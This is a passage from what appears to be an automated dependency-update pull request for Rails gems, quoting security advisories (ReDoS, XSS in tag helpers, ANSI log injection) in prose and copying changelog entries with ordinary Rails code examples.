Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users on Ruby 3.2 are unaffected by this issue.

Credits

Thanks to scyoon for the report and patches!

Release Notes

8.0.1 (from changelog)

  • Add ActionDispatch::Request::Session#store method to conform Rack spec.

    Yaroslav

8.0.0.1 (from changelog)

  • Add validation to content security policies to disallow spaces and semicolons. Developers should use multiple arguments, and different directive methods instead.

    [CVE-2024-54133]

    Gannon McGibbon

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • Add validation to content security policies to disallow spaces and semicolons. Developers should use multiple arguments, and different directive methods instead.

    [CVE-2024-54133]

    Gannon McGibbon

7.2.2 (from changelog)

  • Fix non-GET requests not updating cookies in ActionController::TestCase.

    Jon Moss, Hartley McGuire

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • Avoid regex backtracking in HTTP Token authentication

    [CVE-2024-47887]

  • Avoid regex backtracking in query parameter filtering

    [CVE-2024-41128]

7.2.1 (from changelog)

  • Fix Request#raw_post raising NoMethodError when rack.input is nil.

    Hartley McGuire

7.2.0 (from changelog)

  • Allow bots to ignore allow_browser.

    Matthew Nguyen

  • Include the HTTP Permissions-Policy on non-HTML Content-Types [CVE-2024-28103]

    Aaron Patterson, Zack Deveau

  • Fix Mime::Type.parse handling type parameters for HTTP Accept headers.

    Taylor Chaparro

  • Fix the error page that is displayed when a view template is missing to account for nested controller paths in the suggested correct location for the missing template.

    Joshua Young

  • Add save_and_open_page helper to IntegrationTest.

    save_and_open_page is a helpful helper to keep a short feedback loop when working on system tests. A similar helper with matching signature has been added to integration tests.

    Joé Dupuis

  • Fix a regression in 7.1.3 passing a to: option without a controller when the controller is already defined by a scope.

    Rails.application.routes.draw do
      controller :home do
        get "recent", to: "recent_posts"
      end
    end

    Étienne Barrié

  • Request Forgery takes relative paths into account.

    Stefan Wienert

  • Add ".test" as a default allowed host in development to ensure smooth golden-path setup with puma.dev.

    DHH

  • Add allow_browser to set minimum browser versions for the application.

    A browser that's blocked will by default be served the file in public/406-unsupported-browser.html with a HTTP status code of "406 Not Acceptable".

    class ApplicationController < ActionController::Base
    # Allow only browsers natively supporting webp images, web push, badges, import maps, CSS nesting + :has
    allow_browser versions: :modern
    end

    class ApplicationController < ActionController::Base
    # All versions of Chrome and Opera will be allowed, but no versions of "internet explorer" (ie). Safari needs to be 16.4+ and Firefox 121+.
    allow_browser versions: { safari: 16.4, firefox: 121, ie: false }
    end

    class MessagesController < ApplicationController
    # In addition to the browsers blocked by ApplicationController, also block Opera below 104 and Chrome below 119 for the show action.
    allow_browser versions: { opera: 104, chrome: 119 }, only: :show
    end

    DHH

  • Add rate limiting API.

    class SessionsController < ApplicationController
    rate_limit to: 10, within: 3.minutes, only: :create
    end

    class SignupsController < ApplicationController
    rate_limit to: 1000, within: 10.seconds,
    by: -> { request.domain }, with: -> { redirect_to busy_controller_url, alert: "Too many signups!" }, only: :new
    end

    DHH, Jean Boussier

  • Add image/svg+xml to the compressible content types of ActionDispatch::Static.

    Georg Ledermann

  • Add instrumentation for ActionController::Live#send_stream.

    Allows subscribing to send_stream events. The event payload contains the filename, disposition, and type.

    Hannah Ramadan

  • Add support for with_routing test helper in ActionDispatch::IntegrationTest.

    Gannon McGibbon

  • Remove deprecated support to set Rails.application.config.action_dispatch.show_exceptions to true and false.

    Rafael Mendonça França

  • Remove deprecated speaker, vibrate, and vr permissions policy directives.

    Rafael Mendonça França

  • Remove deprecated Rails.application.config.action_dispatch.return_only_request_media_type_on_content_type.

    Rafael Mendonça França

  • Deprecate Rails.application.config.action_controller.allow_deprecated_parameters_hash_equality.

    Rafael Mendonça França

  • Remove deprecated comparison between ActionController::Parameters and Hash.

    Rafael Mendonça França

  • Remove deprecated constant AbstractController::Helpers::MissingHelperError.

    Rafael Mendonça França

  • Fix a race condition that could cause a Text file busy - chromedriver error with parallel system tests.

    Matt Brictson

  • Add racc as a dependency since it will become a bundled gem in Ruby 3.4.0

    Hartley McGuire

  • Remove deprecated constant ActionDispatch::IllegalStateError.

    Rafael Mendonça França

  • Add parameter filter capability for redirect locations.

    It uses the config.filter_parameters to match what needs to be filtered. The result would be like this:

    Redirected to http://secret.foo.bar?username=roque&password=[FILTERED]
    

    Fixes #14055.

    Roque Pinel, Trevor Turk, tonytonyjan

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actiontext (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Security Advisories 🚨

🚨 Possible ReDoS vulnerability in plain_text_for_blockquote_node in Action Text

There is a possible ReDoS vulnerability in the plain_text_for_blockquote_node helper in Action Text. This vulnerability has been assigned the CVE identifier CVE-2024-47888.

Impact

Carefully crafted text can cause the plain_text_for_blockquote_node helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.

Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 depends on Ruby 3.2 or greater so is unaffected.

Releases

The fixed releases are available at the normal locations.

Workarounds

Users can avoid calling plain_text_for_blockquote_node or upgrade to Ruby 3.2

Credits

Thanks to ooooooo_q for the report!

Release Notes

8.0.1 (from changelog)

  • No changes.

8.0.0.1 (from changelog)

  • Update vendored trix version to 2.1.10

    John Hawthorn

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • Update vendored trix version to 2.1.10

    John Hawthorn

7.2.2 (from changelog)

  • No changes.

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • Avoid backtracing in plain_text_for_blockquote_node

    [CVE-2024-47888]

7.2.1 (from changelog)

  • Strip content attribute if the key is present but the value is empty

    Jeremy Green

7.2.0 (from changelog)

  • Only sanitize content attribute when present in attachments.

    Petrik de Heus

  • Sanitize ActionText HTML ContentAttachment in Trix edit view [CVE-2024-32464]

    Aaron Patterson, Zack Deveau

  • Use includes instead of eager_load for with_all_rich_text.

    Petrik de Heus

  • Delegate ActionText::Content#deconstruct to Nokogiri::XML::DocumentFragment#elements.

    content = ActionText::Content.new <<~HTML
    <h1>Hello, world</h1>

    <div>The body</div>
    HTML

    content => [h1, div]

    assert_pattern { h1 => { content: "Hello, world" } }
    assert_pattern { div => { content: "The body" } }

    Sean Doyle

  • Fix all Action Text database related models to respect ActiveRecord::Base.table_name_prefix configuration.

    Chedli Bourguiba

  • Compile ESM package that can be used directly in the browser as actiontext.esm.js

    Matias Grunberg

  • Fix using actiontext.js with Sprockets.

    Matias Grunberg

  • Upgrade Trix to 2.0.7

    Hartley McGuire

  • Fix using Trix with Sprockets.

    Hartley McGuire

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ actionview (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Security Advisories 🚨

🚨 Rails has a possible XSS vulnerability in its Action View tag helpers

Impact

When a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher taise.

🚨 Rails has a possible XSS vulnerability in its Action View tag helpers

Impact

When a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher taise.

🚨 Rails has a possible XSS vulnerability in its Action View tag helpers

Impact

When a blank string is used as an HTML attribute name in Action View tag helpers, the attribute escaping is bypassed, producing malformed HTML. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attributes are affected.

Releases

The fixed releases are available at the normal locations.

Credit

This issue was responsibly reported by Hackerone researcher taise.

Release Notes

8.0.1 (from changelog)

  • Fix a crash in ERB template error highlighting when the error occurs on a line in the compiled template that is past the end of the source template.

    Martin Emde

  • Improve reliability of ERB template error highlighting. Fix infinite loops and crashes in highlighting and improve tolerance for alternate ERB handlers.

    Martin Emde

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • No changes.

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • No changes.

7.2.1 (from changelog)

  • No changes.

7.2.0 (from changelog)

  • Fix templates with strict locals to also include local_assigns.

    Previously templates defining strict locals wouldn't receive the local_assigns hash.

    Jean Boussier

  • Add queries count to template rendering instrumentation.

    # Before
    Completed 200 OK in 3804ms (Views: 41.0ms | ActiveRecord: 33.5ms | Allocations: 112788)

    After

    Completed 200 OK in 3804ms (Views: 41.0ms | ActiveRecord: 33.5ms (2 queries, 1 cached) | Allocations: 112788)

    fatkodima

  • Raise ArgumentError if :renderable object does not respond to #render_in.

    Sean Doyle

  • Add the nonce: true option for stylesheet_link_tag helper to support automatic nonce generation for Content Security Policy.

    Works the same way as javascript_include_tag nonce: true does.

    Akhil G Krishnan, AJ Esler

  • Parse ActionView::TestCase#rendered HTML content as Nokogiri::XML::DocumentFragment instead of Nokogiri::XML::Document.

    Sean Doyle

  • Rename ActionView::TestCase::Behavior::Content to ActionView::TestCase::Behavior::RenderedViewContent.

    Make RenderedViewContent inherit from String. Make private API with :nodoc:

    Sean Doyle

  • Deprecate passing nil as value for the model: argument to the form_with method.

    Collin Jilbert

  • Alias field_set_tag helper to fieldset_tag to match <fieldset> element.

    Sean Doyle

  • Deprecate passing content to void elements when using tag.br type tag builders.

    Hartley McGuire

  • Fix the number_to_human_size view helper to correctly work with negative numbers.

    Earlopain

  • Automatically discard the implicit locals injected by collection rendering for template that can't accept them.

    When rendering a collection, two implicit variables are injected, which breaks templates with strict locals.

    Now they are only passed if the template will actually accept them.

    Yasha Krasnou, Jean Boussier

  • Fix @rails/ujs calling start() an extra time when using bundlers.

    Hartley McGuire, Ryunosuke Sato

  • Fix the capture view helper compatibility with HAML and Slim.

    When a blank string was captured in HAML or Slim (and possibly other template engines) it would instead return the entire buffer.

    Jean Boussier

  • Updated @rails/ujs files to ignore certain data-* attributes when element is contenteditable.

    This fix was already landed in >= 7.0.4.3, < 7.1.0. [CVE-2023-23913]

    Ryunosuke Sato

  • Added validation for HTML tag names in the tag and content_tag helper method.

    The tag and content_tag method now checks that the provided tag name adheres to the HTML specification. If an invalid HTML tag name is provided, the method raises an ArgumentError with an appropriate error message.

    Examples:

    # Raises ArgumentError: Invalid HTML5 tag name: 12p
    content_tag("12p") # Starting with a number

    # Raises ArgumentError: Invalid HTML5 tag name: ""
    content_tag("") # Empty tag name

    # Raises ArgumentError: Invalid HTML5 tag name: div/
    tag("div/") # Contains a solidus

    # Raises ArgumentError: Invalid HTML5 tag name: "image file"
    tag("image file") # Contains a space

    Akhil G Krishnan

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activejob (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Release Notes

8.0.1 (from changelog)

  • Avoid crashing in Active Job logger when logging enqueueing errors

    ActiveJob.perform_all_later could fail with a TypeError when all provided jobs failed to be enqueueed.

    Efstathios Stivaros

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • No changes.

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • No changes.

7.2.1 (from changelog)

  • No changes.

7.2.0 (from changelog)

  • All tests now respect the active_job.queue_adapter config.

    Previously if you had set config.active_job.queue_adapter in your config/application.rb or config/environments/test.rb file, the adapter you selected was previously not used consistently across all tests. In some tests your adapter would be used, but other tests would use the TestAdapter.

    In Rails 7.2, all tests will respect the queue_adapter config if provided. If no config is provided, the TestAdapter will continue to be used.

    See #48585 for more details.

    Alex Ghiculescu

  • Make Active Job transaction aware when used conjointly with Active Record.

    A common mistake with Active Job is to enqueue jobs from inside a transaction, causing them to potentially be picked and ran by another process, before the transaction is committed, which may result in various errors.

    Topic.transaction do
      topic = Topic.create(...)
      NewTopicNotificationJob.perform_later(topic)
    end

    Now Active Job will automatically defer the enqueuing to after the transaction is committed, and drop the job if the transaction is rolled back.

    Various queue implementations can choose to disable this behavior, and users can disable it, or force it on a per job basis:

    class NewTopicNotificationJob < ApplicationJob
      self.enqueue_after_transaction_commit = :never # or `:always` or `:default`
    end

    Jean Boussier, Cristian Bica

  • Do not trigger immediate loading of ActiveJob::Base when loading ActiveJob::TestHelper.

    Maxime Réty

  • Preserve the serialized timezone when deserializing ActiveSupport::TimeWithZone arguments.

    Joshua Young

  • Remove deprecated :exponentially_longer value for the :wait in retry_on.

    Rafael Mendonça França

  • Remove deprecated support to set numeric values to scheduled_at attribute.

    Rafael Mendonça França

  • Deprecate Rails.application.config.active_job.use_big_decimal_serialize.

    Rafael Mendonça França

  • Remove deprecated primitive serializer for BigDecimal arguments.

    Rafael Mendonça França

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activemodel (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Release Notes

8.0.1 (from changelog)

  • No changes.

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • No changes.

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • Fix regression in alias_attribute to work with user defined methods.

    alias_attribute would wrongly assume the attribute accessor was generated by Active Model.

    class Person
    include ActiveModel::AttributeMethods

    define_attribute_methods :name
    attr_accessor :name

    alias_attribute :full_name, :name
    end

    person.full_name # => NoMethodError: undefined method `attribute' for an instance of Person

    Jean Boussier

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • No changes.

7.2.1 (from changelog)

  • No changes.

7.2.0 (from changelog)

  • Fix a bug where type casting of string to Time and DateTime doesn't calculate minus minute value in TZ offset correctly.

    Akira Matsuda

  • Port the type_for_attribute method to Active Model. Classes that include ActiveModel::Attributes will now provide this method. This method behaves the same for Active Model as it does for Active Record.

    class MyModel
    include ActiveModel::Attributes

    attribute :my_attribute, :integer
    end

    MyModel.type_for_attribute(:my_attribute) # => #<ActiveModel::Type::Integer ...>

    Jonathan Hefner

Please check 7-1-stable for previous changes.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ activerecord (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog

Security Advisories 🚨

🚨 Active Record logging vulnerable to ANSI escape injection

This vulnerability has been assigned the CVE identifier CVE-2025-55193

Impact

The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.

Releases

The fixed releases are available at the normal locations.

Credits

Thanks to lio346 from Unit 515 of OPSWAT for reporting this vulnerability

🚨 Active Record logging vulnerable to ANSI escape injection

This vulnerability has been assigned the CVE identifier CVE-2025-55193

Impact

The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.

Releases

The fixed releases are available at the normal locations.

Credits

Thanks to lio346 from Unit 515 of OPSWAT for reporting this vulnerability

Release Notes

8.0.1 (from changelog)

  • Fix removing foreign keys with :restrict action for MySQ

    fatkodima

  • Fix a race condition in ActiveRecord::Base#method_missing when lazily defining attributes.

    If multiple thread were concurrently triggering attribute definition on the same model, it could result in a NoMethodError being raised.

    Jean Boussier

  • Fix MySQL default functions getting dropped when changing a column's nullability.

    Bastian Bartmann

  • Fix add_unique_constraint/add_check_constraint/add_foreign_key to be revertible when given invalid options.

    fatkodima

  • Fix asynchronous destroying of polymorphic belongs_to associations.

    fatkodima

  • Fix insert_all to not update existing records.

    fatkodima

  • NOT VALID constraints should not dump in create_table.

    Ryuta Kamizono

  • Fix finding by nil composite primary key association.

    fatkodima

  • Properly reset composite primary key configuration when setting a primary key.

    fatkodima

  • Fix Mysql2Adapter support for prepared statements

    Using prepared statements with MySQL could result in a NoMethodError exception.

    Jean Boussier, Leo Arnold, zzak

  • Fix parsing of SQLite foreign key names when they contain non-ASCII characters

    Zacharias Knudsen

  • Fix parsing of MySQL 8.0.16+ CHECK constraints when they contain new lines.

    Steve Hill

  • Ensure normalized attribute queries use IS NULL consistently for nil and normalized nil values.

    Joshua Young

  • Fix sum when performing a grouped calculation.

    User.group(:friendly).sum no longer worked. This is fixed.

    Edouard Chin

  • Restore back the ability to pass only database name to DATABASE_URL.

    fatkodima

8.0.0.1 (from changelog)

  • No changes.

8.0.0 (from changelog)

  • Fix support for query_cache: false in database.yml.

    query_cache: false would no longer entirely disable the Active Record query cache.

    zzak

7.2.2.1 (from changelog)

  • No changes.

7.2.2 (from changelog)

  • Fix support for query_cache: false in database.yml.

    query_cache: false would no longer entirely disable the Active Record query cache.

    zzak

  • Set .attributes_for_inspect to :all by default.

    For new applications it is set to [:id] in config/environment/production.rb.

    In the console all the attributes are always shown.

    Andrew Novoselac

  • PG::UnableToSend: no connection to the server is now retryable as a connection-related exception

    Kazuma Watanabe

  • Fix marshalling of unsaved associated records in 7.1 format.

    The 7.1 format would only marshal associated records if the association was loaded. But associations that would only contain unsaved records would be skipped.

    Jean Boussier

  • Fix incorrect SQL query when passing an empty hash to ActiveRecord::Base.insert.

    David Stosik

  • Allow to save records with polymorphic join tables that have inverse_of specified.

    Markus Doits

  • Fix association scopes applying on the incorrect join when using a polymorphic has_many through:.

    Joshua Young

  • Fix dependent: :destroy for bi-directional has one through association.

    Fixes #50948.

    class Left < ActiveRecord::Base
    has_one :middle, dependent: :destroy
    has_one :right, through: :middle
    end

    class Middle < ActiveRecord::Base
    belongs_to :left, dependent: :destroy
    belongs_to :right, dependent: :destroy
    end

    class Right < ActiveRecord::Base
    has_one :middle, dependent: :destroy
    has_one :left, through: :middle
    end

    In the above example left.destroy wouldn't destroy its associated Right record.

    Andy Stewart

  • Properly handle lazily pinned connection pools.

    Fixes #53147.

    When using transactional fixtures with system tests to similar tools such as capybara, it could happen that a connection end up pinned by the server thread rather than the test thread, causing "Cannot expire connection, it is owned by a different thread" errors.

    Jean Boussier

  • Fix ActiveRecord::Base.with to accept more than two sub queries.

    Fixes #53110.

    User.with(foo: [User.select(:id), User.select(:id), User.select(:id)]).to_sql
    undefined method `union' for an instance of Arel::Nodes::UnionAll (NoMethodError)

    The above now works as expected.

    fatkodima

  • Properly release pinned connections with non joinable connections.

    Fixes #52973

    When running system tests with transactional fixtures on, it could happen that the connection leased by the Puma thread wouldn't be properly released back to the pool, causing "Cannot expire connection, it is owned by a different thread" errors in later tests.

    Jean Boussier

  • Make Float distinguish between float4 and float8 in PostgreSQL.

    Fixes #52742

    Ryota Kitazawa, Takayuki Nagatomi

  • Fix an issue where .left_outer_joins used with multiple associations that have the same child association but different parents does not join all parents.

    Previously, using .left_outer_joins with the same child association would only join one of the parents.

    Now it will correctly join both parents.

    Fixes #41498.

    Garrett Blehm

  • Ensure ActiveRecord::Encryption.config is always ready before access.

    Previously, ActiveRecord::Encryption configuration was deferred until ActiveRecord::Base was loaded. Therefore, accessing ActiveRecord::Encryption.config properties before ActiveRecord::Base was loaded would give incorrect results.

    ActiveRecord::Encryption now has its own loading hook so that its configuration is set as soon as needed.

    When ActiveRecord::Base is loaded, even lazily, it in turn triggers the loading of ActiveRecord::Encryption, thus preserving the original behavior of having its config ready before any use of ActiveRecord::Base.

    Maxime Réty

  • Add TimeZoneConverter#== method, so objects will be properly compared by their type, scale, limit & precision.

    Address #52699.

    Ruy Rocha

7.2.1.2 (from changelog)

  • No changes.

7.2.1.1 (from changelog)

  • No changes.

7.2.1 (from changelog)

  • Fix detection for enum columns with parallelized tests and PostgreSQL.

    Rafael Mendonça França

  • Allow to eager load nested nil associations.

    fatkodima

  • Fix swallowing ignore order warning when batching using BatchEnumerator.

    fatkodima

  • Fix memory bloat on the connection pool when using the Fiber IsolatedExecutionState.

    Jean Boussier

  • Restore inferred association class with the same modularized name.

    Justin Ko

  • Fix ActiveRecord::Base.inspect to properly explain how to load schema information.

    Jean Boussier

  • Check invalid enum options for the new syntax.

    The options using _ prefix in the old syntax are invalid in the new syntax.

    Rafael Mendonça França

  • Fix ActiveRecord::Encryption::EncryptedAttributeType#type to return actual cast type.

    Vasiliy Ermolovich

  • Fix create_table with :auto_increment option for MySQL adapter.

    fatkodima

7.2.0 (from changelog)

  • Handle commas in Sqlite3 default function definitions.

    Stephen Margheim

  • Fixes validates_associated raising an exception when configured with a singular association and having index_nested_attribute_errors enabled.

    Martin Spickermann

  • The constant ActiveRecord::ImmutableRelation has been deprecated because we want to reserve that name for a stronger sense of "immutable relation". Please use ActiveRecord::UnmodifiableRelation instead.

    Xavier Noria

  • Add condensed #inspect for ConnectionPool, AbstractAdapter, and DatabaseConfig.

    Hartley McGuire

  • Fixed a memory performance issue in Active Record attribute methods definition.

    Jean Boussier

  • Define the new Active Support notification event start_transaction.active_record.

    This event is fired when database transactions or savepoints start, and complements transaction.active_record, which is emitted when they finish.

    The payload has the transaction (:transaction) and the connection (:connection).

    Xavier Noria

  • Fix an issue where the IDs reader method did not return expected results for preloaded associations in models using composite primary keys.

    Jay Ang

  • The payload of sql.active_record Active Support notifications now has the current transaction in the :transaction key.

    Xavier Noria

  • The payload of transaction.active_record Active Support notifications now has the transaction the event is related to in the :transaction key.

    Xavier Noria

  • Define ActiveRecord::Transaction#uuid, which returns a UUID for the database transaction. This may be helpful when tracing database activity. These UUIDs are generated only on demand.

    Xavier Noria

  • Fix inference of association model on nested models with the same demodularized name.

    E.g. with the following setup:

    class Nested::Post < ApplicationRecord
      has_one :post, through: :other
    end

    Before, #post would infer the model as Nested::Post, but now it correctly infers Post.

    Joshua Young

  • PostgreSQL Cidr#change? detects the address prefix change.

    Taketo Takashima

  • Change BatchEnumerator#destroy_all to return the total number of affected rows.

    Previously, it always returned nil.

    fatkodima

  • Support touch_all in batches.

    Post.in_batches.touch_all

    fatkodima

  • Add support for :if_not_exists and :force options to create_schema.

    fatkodima

  • Fix index_errors having incorrect index in association validation errors.

    lulalala

  • Add index_errors: :nested_attributes_order mode.

    This indexes the association validation errors based on the order received by nested attributes setter, and respects the reject_if configuration. This enables API to provide enough information to the frontend to map the validation errors back to their respective form fields.

    lulalala

  • Add Rails.application.config.active_record.postgresql_adapter_decode_dates to opt out of decoding dates automatically with the postgresql adapter. Defaults to true.

    Joé Dupuis

  • Association option query_constraints is deprecated in favor of foreign_key.

    Nikita Vasilevsky

  • Add ENV["SKIP_TEST_DATABASE_TRUNCATE"] flag to speed up multi-process test runs on large DBs when all tests run within default transaction.

    This cuts ~10s from the test run of HEY when run by 24 processes against the 178 tables, since ~4,000 table truncates can then be skipped.

    DHH

  • Added support for recursive common table expressions.

    Post.with_recursive(
      post_and_replies: [
        Post.where(id: 42),
        Post.joins('JOIN post_and_replies ON posts.in_reply_to_id = post_and_replies.id'),
      ]
    )

    Generates the following SQL:

    WITH RECURSIVE "post_and_replies" AS (
      (SELECT "posts".* FROM "posts" WHERE "posts"."id" = 42)
      UNION ALL
      (SELECT "posts".* FROM "posts" JOIN post_and_replies ON posts.in_reply_to_id = post_and_replies.id)
    )
    SELECT "posts".* FROM "posts"

    ClearlyClaire

  • validate_constraint can be called in a change_table block.

    ex:

    change_table :products do |t|
      t.check_constraint "price > discounted_price", name: "price_check", validate: false
      t.validate_check_constraint "price_check"
    end

    Cody Cutrer

  • PostgreSQLAdapter now decodes columns of type date to Date instead of string.

    Ex:

    ActiveRecord::Base.connection
         .select_value("select '2024-01-01'::date").class #=> Date

    Joé Dupuis

  • Strict loading using :n_plus_one_only does not eagerly load child associations.

    With this change, child associations are no longer eagerly loaded, to match intended behavior and to prevent non-deterministic order issues caused by calling methods like first or last. As first and last don't cause an N+1 by themselves, calling child associations will no longer raise. Fixes #49473.

    Before:

    person = Person.find(1)
    person.strict_loading!(mode: :n_plus_one_only)
    person.posts.first
    # SELECT * FROM posts WHERE person_id = 1; -- non-deterministic order
    person.posts.first.firm # raises ActiveRecord::StrictLoadingViolationError

    After:

    person = Person.find(1)
    person.strict_loading!(mode: :n_plus_one_only)
    person.posts.first # this is 1+1, not N+1
    # SELECT * FROM posts WHERE person_id = 1 ORDER BY id LIMIT 1;
    person.posts.first.firm # no longer raises

    Reid Lynch

  • Allow Sqlite3Adapter to use sqlite3 gem version 2.x.

    Mike Dalessio

  • Allow ActiveRecord::Base#pluck to accept hash values.

    # Before
    Post.joins(:comments).pluck("posts.id", "comments.id", "comments.body")

    # After
    Post.joins(:comments).pluck(posts: [:id], comments: [:id, :body])

    fatkodima

  • Raise an ActiveRecord::ActiveRecordError error when the MySQL database returns an invalid version string.

    Kevin McPhillips

  • ActiveRecord::Base.transaction now yields an ActiveRecord::Transaction object.

    This allows to register callbacks on it.

    Article.transaction do |transaction|
      article.update(published: true)
      transaction.after_commit do
        PublishNotificationMailer.with(article: article).deliver_later
      end
    end

    Jean Boussier

  • Add ActiveRecord::Base.current_transaction.

    Returns the current transaction, to allow registering callbacks on it.

    Article.current_transaction.after_commit do
      PublishNotificationMailer.with(article: article).deliver_later
    end

    Jean Boussier

  • Add ActiveRecord.after_all_transactions_commit callback.

    Useful for code that may run either inside or outside a transaction and needs to perform work after the state changes have been properly persisted.

    def publish_article(article)
      article.update(published: true)
      ActiveRecord.after_all_transactions_commit do
        PublishNotificationMailer.with(article: article).deliver_later
      end
    end

    In the above example, the block is either executed immediately if called outside of a transaction, or called after the open transaction is committed.

    If the transaction is rolled back, the block isn't called.

    Jean Boussier

  • Add the ability to ignore counter cache columns until they are backfilled.

    Starting to use counter caches on existing large tables can be troublesome, because the column values must be backfilled separately of the column addition (to not lock the table for too long) and before the use of :counter_cache (otherwise methods like size/any?/etc, which use counter caches internally, can produce incorrect results). People usually use database triggers or callbacks on child associations while backfilling before introducing a counter cache configuration to the association.

    Now, to safely backfill the column, while keeping the column updated with child records added/removed, use:

    class Comment < ApplicationRecord
      belongs_to :post, counter_cache: { active: false }
    end

    While the counter cache is not "active", the methods like size/any?/etc will not use it, but get the results directly from the database. After the counter cache column is backfilled, simply remove the { active: false } part from the counter cache definition, and it will now be used by the mentioned methods.

    fatkodima

  • Retry known idempotent SELECT queries on connection-related exceptions.

    SELECT queries we construct by walking the Arel tree and / or with known model attributes are idempotent and can safely be retried in the case of a connection error. Previously, adapters such as TrilogyAdapter would raise ActiveRecord::ConnectionFailed: Trilogy::EOFError when encountering a connection error mid-request.

    Adrianna Chang

  • Allow association's foreign_key to be composite.

    query_constraints option was the only way to configure a composite foreign key by passing an Array. Now it's possible to pass an Array value as foreign_key to achieve the same behavior of an association.

    Nikita Vasilevsky

  • Allow association's primary_key to be composite.

    Association's primary_key can be composite when derived from associated model primary_key or query_constraints. Now it's possible to explicitly set it as composite on the association.

    Nikita Vasilevsky

  • Add config.active_record.permanent_connection_checkout setting.

    Controls whether ActiveRecord::Base.connection raises an error, emits a deprecation warning, or neither.

    ActiveRecord::Base.connection checkouts a database connection from the pool and keeps it leased until the end of the request or job. This behavior can be undesirable in environments that use many more threads or fibers than there is available connections.

    This configuration can be used to track down and eliminate code that calls ActiveRecord::Base.connection and migrate it to use ActiveRecord::Base.with_connection instead.

    The default behavior remains unchanged, and there is currently no plans to change the default.

    Jean Boussier

  • Add dirties option to uncached.

    This adds a dirties option to ActiveRecord::Base.uncached and ActiveRecord::ConnectionAdapters::ConnectionPool#uncached.

    When set to true (the default), writes will clear all query caches belonging to the current thread. When set to false, writes to the affected connection pool will not clear any query cache.

    This is needed by Solid Cache so that cache writes do not clear query caches.

    Donal McBreen

  • Deprecate ActiveRecord::Base.connection in favor of .lease_connection.

    The method has been renamed as lease_connection to better reflect that the returned connection will be held for the duration of the request or job.

    This deprecation is a soft deprecation, no warnings will be issued and there is no current plan to remove the method.

    Jean Boussier

  • Deprecate ActiveRecord::ConnectionAdapters::ConnectionPool#connection.

    The method has been renamed as lease_connection to better reflect that the returned connection will be held for the duration of the request or job.

    Jean Boussier

  • Expose a generic fixture accessor for fixture names that may conflict with Minitest.

    assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
    assert_equal "Ruby on Rails", fixture(:web_sites, :rubyonrails).name

    Jean Boussier

  • Using Model.query_constraints with a single non-primary-key column used to raise as expected, but with an incorrect error message.

    This has been fixed to raise with a more appropriate error message.

    Joshua Young

  • Fix has_one association autosave setting the foreign key attribute when it is unchanged.

    This behavior is also inconsistent with autosaving belongs_to and can have unintended side effects like raising an ActiveRecord::ReadonlyAttributeError when the foreign key attribute is marked as read-only.

    Joshua Young

  • Remove deprecated behavior that would rollback a transaction block when exited using return, break or throw.

    Rafael Mendonça França

  • Deprecate Rails.application.config.active_record.commit_transaction_on_non_local_return.

    Rafael Mendonça França

  • Remove deprecated support to pass rewhere to ActiveRecord::Relation#merge.

    Rafael Mendonça França

  • Remove deprecated support to pass deferrable: true to add_foreign_key.

    Rafael Mendonça França

  • Remove deprecated support to quote ActiveSupport::Duration.

    Rafael Mendonça França

  • Remove deprecated #quote_bound_value.

    Rafael Mendonça França

  • Remove deprecated ActiveRecord::ConnectionAdapters::ConnectionPool#connection_klass.

    Rafael Mendonça França

